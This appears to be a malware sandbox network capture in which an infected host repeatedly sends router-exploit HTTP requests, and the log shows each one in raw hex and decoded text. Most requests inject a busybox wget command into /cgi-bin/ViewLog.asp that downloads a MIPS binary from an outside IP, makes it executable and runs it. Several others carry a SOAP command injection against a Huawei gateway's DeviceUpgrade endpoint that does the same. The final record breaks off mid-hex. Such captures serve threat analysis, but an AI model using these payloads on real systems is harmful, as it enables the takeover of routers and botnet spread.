Nov 23, 2023 05:15:26.011106968 CET	464	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.10.2 Date: Thu, 23 Nov 2023 04:15:25 GMT Content-Type: text/html Content-Length: 195 Connection: keep-alive WWW-Authenticate: Basic realm="closed area" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	44962	94.124.193.23	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:29.280400991 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:30.406613111 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:30.633507967 CET	602	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:15:29 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	43380	94.121.186.12	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.288666010 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	36400	94.121.64.159	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.306955099 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	37488	94.120.11.158	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.307013988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	54166	94.182.91.102	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.331684113 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:31.782665014 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	34228	85.93.88.147	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.736164093 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	58702	156.253.32.224	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:30.861479044 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:32.486766100 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:34.406636000 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:38.278604031 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:45.958616018 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:01.318553925 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 